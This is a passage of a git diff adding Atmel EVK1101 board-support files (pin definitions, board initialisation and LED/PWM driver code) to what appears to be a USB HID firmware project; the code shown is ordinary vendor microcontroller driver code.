the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _EVK1101_H_ +#define _EVK1101_H_ + +#include "compiler.h" + +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. +# include "led.h" +#endif // __AVR32_ABI_COMPILER__ + + +/*! \name Oscillator Definitions + */ +//! @{ + +#if UC3B +#define FOSC32 32768 //!< Osc32 frequency: Hz. +#define OSC32_STARTUP AVR32_PM_OSCCTRL32_STARTUP_8192_RCOSC //!< Osc32 startup time: RCOsc periods. + +#define FOSC0 12000000 //!< Osc0 frequency: Hz. +#define OSC0_STARTUP AVR32_PM_OSCCTRL0_STARTUP_2048_RCOSC //!< Osc0 startup time: RCOsc periods. +#elif UC3D +#define FOSC32 32768 //!< Osc32 frequency: Hz. +#define OSC32_STARTUP AVR32_SCIF_OSCCTRL32_STARTUP_8192_RCOSC //!< Osc32 startup time: RCOsc periods. + +#define FOSC0 12000000 //!< Osc0 frequency: Hz. +#define OSC0_STARTUP AVR32_SCIF_OSCCTRL0_STARTUP_2048_RCOSC //!< Osc0 startup time: RCOsc periods. + +#endif + +// Osc1 crystal is not mounted by default. Set the following definitions to the +// appropriate values if a custom Osc1 crystal is mounted on your board. +//#define FOSC1 12000000 //!< Osc1 frequency: Hz. +//#define OSC1_STARTUP AVR32_PM_OSCCTRL1_STARTUP_2048_RCOSC //!< Osc1 startup time: RCOsc periods. + +//! @} + +/* These are documented in services/basic/clock/uc3b0_b1/osc.h */ +#define BOARD_OSC0_HZ 12000000 +#define BOARD_OSC0_STARTUP_US 17000 +#define BOARD_OSC0_IS_XTAL true +#define BOARD_OSC32_HZ 32768 +#define BOARD_OSC32_STARTUP_US 71000 +#define BOARD_OSC32_IS_XTAL true + +/*! \name USB Definitions + */ +//! @{ + +//! Multiplexed pin used for USB_ID: AVR32_USBB_USB_ID_x_x. +//! To be selected according to the AVR32_USBB_USB_ID_x_x_PIN and +//! AVR32_USBB_USB_ID_x_x_FUNCTION definitions from . +#define USB_ID AVR32_USBB_USB_ID_0_0 + +//! Multiplexed pin used for USB_VBOF: AVR32_USBB_USB_VBOF_x_x. +//! To be selected according to the AVR32_USBB_USB_VBOF_x_x_PIN and +//! AVR32_USBB_USB_VBOF_x_x_FUNCTION definitions from . +#define USB_VBOF AVR32_USBB_USB_VBOF_0_0 + +//! Active level of the USB_VBOF output pin. +#define USB_VBOF_ACTIVE_LEVEL LOW + +//! USB overcurrent detection pin. +#define USB_OVERCURRENT_DETECT_PIN AVR32_PIN_PA20 + +//! @} + + +//! Number of LEDs. +#define LED_COUNT 4 + +/*! \name GPIO Connections of LEDs + */ +//! @{ +#define LED0_GPIO AVR32_PIN_PA07 +#define LED1_GPIO AVR32_PIN_PA08 +#define LED2_GPIO AVR32_PIN_PA21 +#define LED3_GPIO AVR32_PIN_PA22 +//! @} + +/*! \name PWM Channels of LEDs + */ +//! @{ +#define LED0_PWM 0 +#define LED1_PWM 1 +#define LED2_PWM 2 +#define LED3_PWM 6 +//! @} + +/*! \name PWM Functions of LEDs + */ +//! @{ +#define LED0_PWM_FUNCTION AVR32_PWM_0_0_FUNCTION +#define LED1_PWM_FUNCTION AVR32_PWM_1_0_FUNCTION +#define LED2_PWM_FUNCTION AVR32_PWM_2_0_FUNCTION +#define LED3_PWM_FUNCTION AVR32_PWM_6_0_FUNCTION +//! @} + +/*! \name Color Identifiers of LEDs to Use with LED Functions + */ +//! @{ +#define LED_MONO0_GREEN LED0 +#define LED_MONO1_GREEN LED1 +#define LED_MONO2_GREEN LED2 +#define LED_MONO3_GREEN LED3 +//! @} + + +/*! \name GPIO Connections of Push Buttons + */ +//! @{ +#define GPIO_PUSH_BUTTON_0 AVR32_PIN_PB02 +#define GPIO_PUSH_BUTTON_0_PRESSED 0 +#define GPIO_PUSH_BUTTON_1 AVR32_PIN_PB03 +#define GPIO_PUSH_BUTTON_1_PRESSED 0 +//! @} + + +/*! \name GPIO Connections of the Joystick + */ +//! @{ +#define GPIO_JOYSTICK_PUSH AVR32_PIN_PA13 +#define GPIO_JOYSTICK_PUSH_PRESSED 0 +#define GPIO_JOYSTICK_LEFT AVR32_PIN_PB06 +#define GPIO_JOYSTICK_LEFT_PRESSED 0 +#define GPIO_JOYSTICK_RIGHT AVR32_PIN_PB09 +#define GPIO_JOYSTICK_RIGHT_PRESSED 0 +#define GPIO_JOYSTICK_UP AVR32_PIN_PB07 +#define GPIO_JOYSTICK_UP_PRESSED 0 +#define GPIO_JOYSTICK_DOWN AVR32_PIN_PB08 +#define GPIO_JOYSTICK_DOWN_PRESSED 0 +//! @} + + +/*! \name ADC Connection of the Temperature Sensor + */ +//! @{ +#define ADC_TEMPERATURE_CHANNEL 7 +#define ADC_TEMPERATURE_PIN AVR32_ADC_AD_7_PIN +#define ADC_TEMPERATURE_FUNCTION AVR32_ADC_AD_7_FUNCTION +//! @} + + +/*! \name ADC Connection of the Light Sensor + */ +//! @{ +#define ADC_LIGHT_CHANNEL 6 +#define ADC_LIGHT_PIN AVR32_ADC_AD_6_PIN +#define ADC_LIGHT_FUNCTION AVR32_ADC_AD_6_FUNCTION +//! @} + + +/*! \name ADC Connections of the Accelerometer + */ +//! @{ +#define ADC_ACC_X_CHANNEL 1 +#define ADC_ACC_X_PIN AVR32_ADC_AD_1_PIN +#define ADC_ACC_X_FUNCTION AVR32_ADC_AD_1_FUNCTION +#define ADC_ACC_Y_CHANNEL 2 +#define ADC_ACC_Y_PIN AVR32_ADC_AD_2_PIN +#define ADC_ACC_Y_FUNCTION AVR32_ADC_AD_2_FUNCTION +#define ADC_ACC_Z_CHANNEL 3 +#define ADC_ACC_Z_PIN AVR32_ADC_AD_3_PIN +#define ADC_ACC_Z_FUNCTION AVR32_ADC_AD_3_FUNCTION +//! @} + + +/*! \name PWM Connections of Audio + */ +//! @{ +#define AUDIO_LOW_PWM_CHANNEL 5 +#define AUDIO_LOW_PWM_PIN AVR32_PWM_5_0_PIN +#define AUDIO_LOW_PWM_FUNCTION AVR32_PWM_5_0_FUNCTION +#define AUDIO_HIGH_PWM_CHANNEL 6 +#define AUDIO_HIGH_PWM_PIN AVR32_PWM_6_1_PIN +#define AUDIO_HIGH_PWM_FUNCTION AVR32_PWM_6_1_FUNCTION +//! @} + + +/*! \name SPI Connections of the AT45DBX Data Flash Memory + */ +//! @{ +#define AT45DBX_SPI (&AVR32_SPI) +#define AT45DBX_SPI_NPCS 0 +#define AT45DBX_SPI_SCK_PIN AVR32_SPI_SCK_0_0_PIN +#define AT45DBX_SPI_SCK_FUNCTION AVR32_SPI_SCK_0_0_FUNCTION +#define AT45DBX_SPI_MISO_PIN AVR32_SPI_MISO_0_0_PIN +#define AT45DBX_SPI_MISO_FUNCTION AVR32_SPI_MISO_0_0_FUNCTION +#define AT45DBX_SPI_MOSI_PIN AVR32_SPI_MOSI_0_0_PIN +#define AT45DBX_SPI_MOSI_FUNCTION AVR32_SPI_MOSI_0_0_FUNCTION +#define AT45DBX_SPI_NPCS0_PIN AVR32_SPI_NPCS_0_0_PIN +#define AT45DBX_SPI_NPCS0_FUNCTION AVR32_SPI_NPCS_0_0_FUNCTION +//! @} + + +/*! \name GPIO and SPI Connections of the SD/MMC Connector + */ +//! @{ +#define SD_MMC_CARD_DETECT_PIN AVR32_PIN_PB00 +#define SD_MMC_WRITE_PROTECT_PIN AVR32_PIN_PB01 +#define SD_MMC_SPI (&AVR32_SPI) +#define SD_MMC_SPI_NPCS 1 +#define SD_MMC_SPI_SCK_PIN AVR32_SPI_SCK_0_0_PIN +#define SD_MMC_SPI_SCK_FUNCTION AVR32_SPI_SCK_0_0_FUNCTION +#define SD_MMC_SPI_MISO_PIN AVR32_SPI_MISO_0_0_PIN +#define SD_MMC_SPI_MISO_FUNCTION AVR32_SPI_MISO_0_0_FUNCTION +#define SD_MMC_SPI_MOSI_PIN AVR32_SPI_MOSI_0_0_PIN +#define SD_MMC_SPI_MOSI_FUNCTION AVR32_SPI_MOSI_0_0_FUNCTION +#define SD_MMC_SPI_NPCS_PIN AVR32_SPI_NPCS_1_0_PIN +#define SD_MMC_SPI_NPCS_FUNCTION AVR32_SPI_NPCS_1_0_FUNCTION +//! @} + + +/*! \name TWI Connections of the Spare TWI Connector + */ +//! @{ +#define SPARE_TWI (&AVR32_TWI) +#define SPARE_TWI_SCL_PIN AVR32_TWI_SCL_0_0_PIN +#define SPARE_TWI_SCL_FUNCTION AVR32_TWI_SCL_0_0_FUNCTION +#define SPARE_TWI_SDA_PIN AVR32_TWI_SDA_0_0_PIN +#define SPARE_TWI_SDA_FUNCTION AVR32_TWI_SDA_0_0_FUNCTION +//! @} + + +/*! \name SPI Connections of the Spare SPI Connector + */ +//! @{ +#define SPARE_SPI (&AVR32_SPI) +#define SPARE_SPI_NPCS 2 +#define SPARE_SPI_SCK_PIN AVR32_SPI_SCK_0_0_PIN +#define SPARE_SPI_SCK_FUNCTION AVR32_SPI_SCK_0_0_FUNCTION +#define SPARE_SPI_MISO_PIN AVR32_SPI_MISO_0_0_PIN +#define SPARE_SPI_MISO_FUNCTION AVR32_SPI_MISO_0_0_FUNCTION +#define SPARE_SPI_MOSI_PIN AVR32_SPI_MOSI_0_0_PIN +#define SPARE_SPI_MOSI_FUNCTION AVR32_SPI_MOSI_0_0_FUNCTION +#define SPARE_SPI_NPCS_PIN AVR32_SPI_NPCS_2_0_PIN +#define SPARE_SPI_NPCS_FUNCTION AVR32_SPI_NPCS_2_0_FUNCTION +//! @} + + +#endif // _EVK1101_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/init.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/init.c new file mode 100755 index 0000000..9cf9374 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/init.c @@ -0,0 +1,126 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief EVK1101 board init. + * + * This file contains board initialization function. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR + * - Supported devices: All AVR UC3 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + + +#include "compiler.h" +#include "evk1101.h" +#include "conf_board.h" +#include "gpio.h" +#include "board.h" + +#if defined (CONF_BOARD_AT45DBX) +#define AT45DBX_MEM_CNT 1 +#endif + +void board_init(void) +{ + gpio_configure_pin(LED0_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); + gpio_configure_pin(LED1_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); + gpio_configure_pin(LED2_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); + gpio_configure_pin(LED3_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); + + gpio_configure_pin(GPIO_PUSH_BUTTON_0,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_PUSH_BUTTON_1,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_JOYSTICK_PUSH,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_JOYSTICK_LEFT,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_JOYSTICK_UP,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_JOYSTICK_DOWN,GPIO_DIR_INPUT); + +#if defined (CONF_BOARD_AT45DBX) + static const gpio_map_t AT45DBX_SPI_GPIO_MAP = + { + {AT45DBX_SPI_SCK_PIN, AT45DBX_SPI_SCK_FUNCTION }, // SPI Clock. + {AT45DBX_SPI_MISO_PIN, AT45DBX_SPI_MISO_FUNCTION }, // MISO. + {AT45DBX_SPI_MOSI_PIN, AT45DBX_SPI_MOSI_FUNCTION }, // MOSI. + #define AT45DBX_ENABLE_NPCS_PIN(NPCS, unused) \ + {AT45DBX_SPI_NPCS##NPCS##_PIN, AT45DBX_SPI_NPCS##NPCS##_FUNCTION}, // Chip Select NPCS. + MREPEAT(AT45DBX_MEM_CNT, AT45DBX_ENABLE_NPCS_PIN, ~) + #undef AT45DBX_ENABLE_NPCS_PIN + }; + + // Assign I/Os to SPI. + gpio_enable_module(AT45DBX_SPI_GPIO_MAP, + sizeof(AT45DBX_SPI_GPIO_MAP) / sizeof(AT45DBX_SPI_GPIO_MAP[0])); +#endif + +#if defined (CONF_BOARD_TWI) + static const gpio_map_t TWI_GPIO_MAP = + { + {AVR32_TWI_SDA_0_0_PIN, AVR32_TWI_SDA_0_0_FUNCTION}, + {AVR32_TWI_SCL_0_0_PIN, AVR32_TWI_SCL_0_0_FUNCTION} + }; + + // TWI gpio pins configuration + gpio_enable_module(TWI_GPIO_MAP, sizeof(TWI_GPIO_MAP) / sizeof(TWI_GPIO_MAP[0])); +#endif + +#if defined (CONF_BOARD_COM_PORT) + static const gpio_map_t COMPORT_GPIO_MAP = + { + {AVR32_USART1_RXD_0_0_PIN, AVR32_USART1_RXD_0_0_FUNCTION }, + {AVR32_USART1_TXD_0_0_PIN, AVR32_USART1_TXD_0_0_FUNCTION } + }; + + // Assign I/Os to USART. + gpio_enable_module(COMPORT_GPIO_MAP, + sizeof(COMPORT_GPIO_MAP) / sizeof(COMPORT_GPIO_MAP[0])); +#endif + +#if UC3D + static const gpio_map_t USB_GPIO_MAP = + { + {AVR32_USBC_DP_PIN, AVR32_USBC_DP_FUNCTION}, + {AVR32_USBC_DM_PIN, AVR32_USBC_DM_FUNCTION}, + {AVR32_USBC_VBUS_PIN, AVR32_USBC_VBUS_FUNCTION} + }; + + // Assign GPIO pins to USB. + gpio_enable_module(USB_GPIO_MAP, + sizeof(USB_GPIO_MAP) / sizeof(USB_GPIO_MAP[0])); +#endif + +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/led.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/led.c new file mode 100755 index 0000000..14db432 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/led.c @@ -0,0 +1,344 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief AT32UC3B EVK1101 board LEDs support package. + * + * This file contains definitions and services related to the LED features of + * the EVK1101 board. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 AT32UC3B devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include +#include "preprocessor.h" +#include "compiler.h" +#include "evk1101.h" +#include "led.h" + + +//! Structure describing LED hardware connections. +typedef const struct +{ + struct + { + U32 PORT; //!< LED GPIO port. + U32 PIN_MASK; //!< Bit-mask of LED pin in GPIO port. + } GPIO; //!< LED GPIO descriptor. + struct + { + S32 CHANNEL; //!< LED PWM channel (< 0 if N/A). + S32 FUNCTION; //!< LED pin PWM function (< 0 if N/A). + } PWM; //!< LED PWM descriptor. +} tLED_DESCRIPTOR; + + +//! Hardware descriptors of all LEDs. +static tLED_DESCRIPTOR LED_DESCRIPTOR[LED_COUNT] = +{ +#define INSERT_LED_DESCRIPTOR(LED_NO, unused) \ + { \ + {LED##LED_NO##_GPIO / 32, 1 << (LED##LED_NO##_GPIO % 32)},\ + {LED##LED_NO##_PWM, LED##LED_NO##_PWM_FUNCTION } \ + }, + MREPEAT(LED_COUNT, INSERT_LED_DESCRIPTOR, ~) +#undef INSERT_LED_DESCRIPTOR +}; + + +//! Saved state of all LEDs. +static volatile U32 LED_State = (1 << LED_COUNT) - 1; + + +U32 LED_Read_Display(void) +{ + return LED_State; +} + + +void LED_Display(U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor; + volatile avr32_gpio_port_t *led_gpio_port; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + LED_State = leds; + + // For all LEDs... + for (led_descriptor = &LED_DESCRIPTOR[0]; + led_descriptor < LED_DESCRIPTOR + LED_COUNT; + led_descriptor++) + { + // Set the LED to the requested state. + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + if (leds & 1) + { + led_gpio_port->ovrc = led_descriptor->GPIO.PIN_MASK; + } + else + { + led_gpio_port->ovrs = led_descriptor->GPIO.PIN_MASK; + } + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= 1; + } +} + + +U32 LED_Read_Display_Mask(U32 mask) +{ + return Rd_bits(LED_State, mask); +} + + +void LED_Display_Mask(U32 mask, U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + mask &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + Wr_bits(LED_State, mask, leds); + + // While there are specified LEDs left to manage... + while (mask) + { + // Select the next specified LED and set it to the requested state. + led_shift = 1 + ctz(mask); + led_descriptor += led_shift; + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + leds >>= led_shift - 1; + if (leds & 1) + { + led_gpio_port->ovrc = led_descriptor->GPIO.PIN_MASK; + } + else + { + led_gpio_port->ovrs = led_descriptor->GPIO.PIN_MASK; + } + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= 1; + mask >>= led_shift; + } +} + + +Bool LED_Test(U32 leds) +{ + return Tst_bits(LED_State, leds); +} + + +void LED_Off(U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + Clr_bits(LED_State, leds); + + // While there are specified LEDs left to manage... + while (leds) + { + // Select the next specified LED and turn it off. + led_shift = 1 + ctz(leds); + led_descriptor += led_shift; + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + led_gpio_port->ovrs = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= led_shift; + } +} + + +void LED_On(U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + Set_bits(LED_State, leds); + + // While there are specified LEDs left to manage... + while (leds) + { + // Select the next specified LED and turn it on. + led_shift = 1 + ctz(leds); + led_descriptor += led_shift; + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + led_gpio_port->ovrc = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= led_shift; + } +} + + +void LED_Toggle(U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + Tgl_bits(LED_State, leds); + + // While there are specified LEDs left to manage... + while (leds) + { + // Select the next specified LED and toggle it. + led_shift = 1 + ctz(leds); + led_descriptor += led_shift; + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + led_gpio_port->ovrt = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= led_shift; + } +} + + +U32 LED_Read_Display_Field(U32 field) +{ + return Rd_bitfield(LED_State, field); +} + + +void LED_Display_Field(U32 field, U32 leds) +{ + // Move the bit-field to the appropriate position for the bit-mask. + LED_Display_Mask(field, leds << ctz(field)); +} + + +U8 LED_Get_Intensity(U32 led) +{ + tLED_DESCRIPTOR *led_descriptor; + + // Check that the argument value is valid. + led = ctz(led); + led_descriptor = &LED_DESCRIPTOR[led]; + if (led >= LED_COUNT || led_descriptor->PWM.CHANNEL < 0) return 0; + + // Return the duty cycle value if the LED PWM channel is enabled, else 0. + return (AVR32_PWM.sr & (1 << led_descriptor->PWM.CHANNEL)) ? + AVR32_PWM.channel[led_descriptor->PWM.CHANNEL].cdty : 0; +} + + +void LED_Set_Intensity(U32 leds, U8 intensity) +{ + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_pwm_channel_t *led_pwm_channel; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // For each specified LED... + for (leds &= (1 << LED_COUNT) - 1; leds; leds >>= led_shift) + { + // Select the next specified LED and check that it has a PWM channel. + led_shift = 1 + ctz(leds); + led_descriptor += led_shift; + if (led_descriptor->PWM.CHANNEL < 0) continue; + + // Initialize or update the LED PWM channel. + led_pwm_channel = &AVR32_PWM.channel[led_descriptor->PWM.CHANNEL]; + if (!(AVR32_PWM.sr & (1 << led_descriptor->PWM.CHANNEL))) + { + led_pwm_channel->cmr = (AVR32_PWM_CPRE_MCK << AVR32_PWM_CPRE_OFFSET) & + ~(AVR32_PWM_CALG_MASK | + AVR32_PWM_CPOL_MASK | + AVR32_PWM_CPD_MASK); + led_pwm_channel->cprd = 0x000000FF; + led_pwm_channel->cdty = intensity; + AVR32_PWM.ena = 1 << led_descriptor->PWM.CHANNEL; + } + else + { + AVR32_PWM.isr; + while (!(AVR32_PWM.isr & (1 << led_descriptor->PWM.CHANNEL))); + led_pwm_channel->cupd = intensity; + } + + // Switch the LED pin to its PWM function. + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + if (led_descriptor->PWM.FUNCTION & 0x1) + { + led_gpio_port->pmr0s = led_descriptor->GPIO.PIN_MASK; + } + else + { + led_gpio_port->pmr0c = led_descriptor->GPIO.PIN_MASK; + } + if (led_descriptor->PWM.FUNCTION & 0x2) + { + led_gpio_port->pmr1s = led_descriptor->GPIO.PIN_MASK; + } + else + { + led_gpio_port->pmr1c = led_descriptor->GPIO.PIN_MASK; + } + led_gpio_port->gperc = led_descriptor->GPIO.PIN_MASK; + } +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/led.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/led.h new file mode 100755 index 0000000..62be658 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/led.h @@ -0,0 +1,185 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief AT32UC3B EVK1101 board LEDs support package. + * + * This file contains definitions and services related to the LED features of + * the EVK1101 board. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 AT32UC3B devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * 